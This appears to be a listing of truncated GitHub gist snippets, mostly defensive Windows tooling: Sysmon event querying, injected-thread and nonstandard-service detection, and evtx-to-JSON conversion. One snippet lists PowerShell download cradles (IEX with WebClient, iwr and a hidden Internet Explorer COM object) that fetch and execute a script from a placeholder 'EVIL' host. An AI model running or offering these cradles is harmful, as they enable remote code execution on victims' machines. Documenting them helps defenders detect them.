andrewschoen

# -*- coding: utf-8 -*-
import os
import StringIO
import hashlib

try:
    from boto.s3.connection import S3Connection
    from boto.s3.key import Key
except ImportError:
    raise ImproperlyConfigured, "Could not load Boto's S3 bindings."

RamblingCookieMonster

    # Download and dot source Get-WinEventData
        # https://gallery.technet.microsoft.com/scriptcenter/Get-WinEventData-Extract-344ad840
        . "\\path\to\Get-WinEventData.ps1"

    # Download and Set up Sysmon as desired
        # http://technet.microsoft.com/en-us/sysinternals/dn798348
        # http://www.darkoperator.com/blog/2014/8/8/sysinternals-sysmon

    #Use Get-WinEvent and Get-WinEventData to obtain events and extract XML data from them - let's see all the properties behind one!
        Get-WinEvent -FilterHashtable @{logname="Microsoft-Windows-Sysmon/Operational";id=3} |

HarmJ0y

# normal download cradle
IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1")

# PowerShell 3.0+
IEX (iwr 'http://EVIL/evil.ps1')

# hidden IE com object
$ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r

# Msxml2.XMLHTTP COM object

jaredcatkinson

function Get-InjectedThread
{
    <# 
    
    .SYNOPSIS 
    
    Looks for threads that were created as a result of code injection.
    
    .DESCRIPTION
    

pkerpedjiev

.

HarmJ0y

function Get-NonstandardService {
<#
.SYNOPSIS

Returns services where the associated binaries are either not signed, or are
signed by an issuer not matching 'Microsoft'.

Author: Will Schroeder (@harmj0y)  
License: BSD 3-Clause  
Required Dependencies: None  

truekonrads

#!/usr/bin/env python
# Convert evtx to json
import Evtx.Evtx as evtx
import sys
import json


def recursive_dict(element):
    # https://stackoverflow.com/questions/42925074/python-lxml-etree-element-to-json-or-dict
    t = element.tag

psrdrgz

using namespace System.Management.Automation
function Search-SysmonCommandline
{
    [CmdletBinding(DefaultParameterSetName='InProcess')]
    
    Param(
        [Parameter(Mandatory = $True)]
        [string[]]$CommandLine,

        [Parameter(Mandatory = $False)]

infosec-intern

# LogName can be any available event log
# or it can be replaced with "-Path" and a file path
# The resulting JSON can then be POSTed to a webserver of your choice
Get-WinEvent -LogName "Security" -MaxEvents 1 | ConvertTo-Json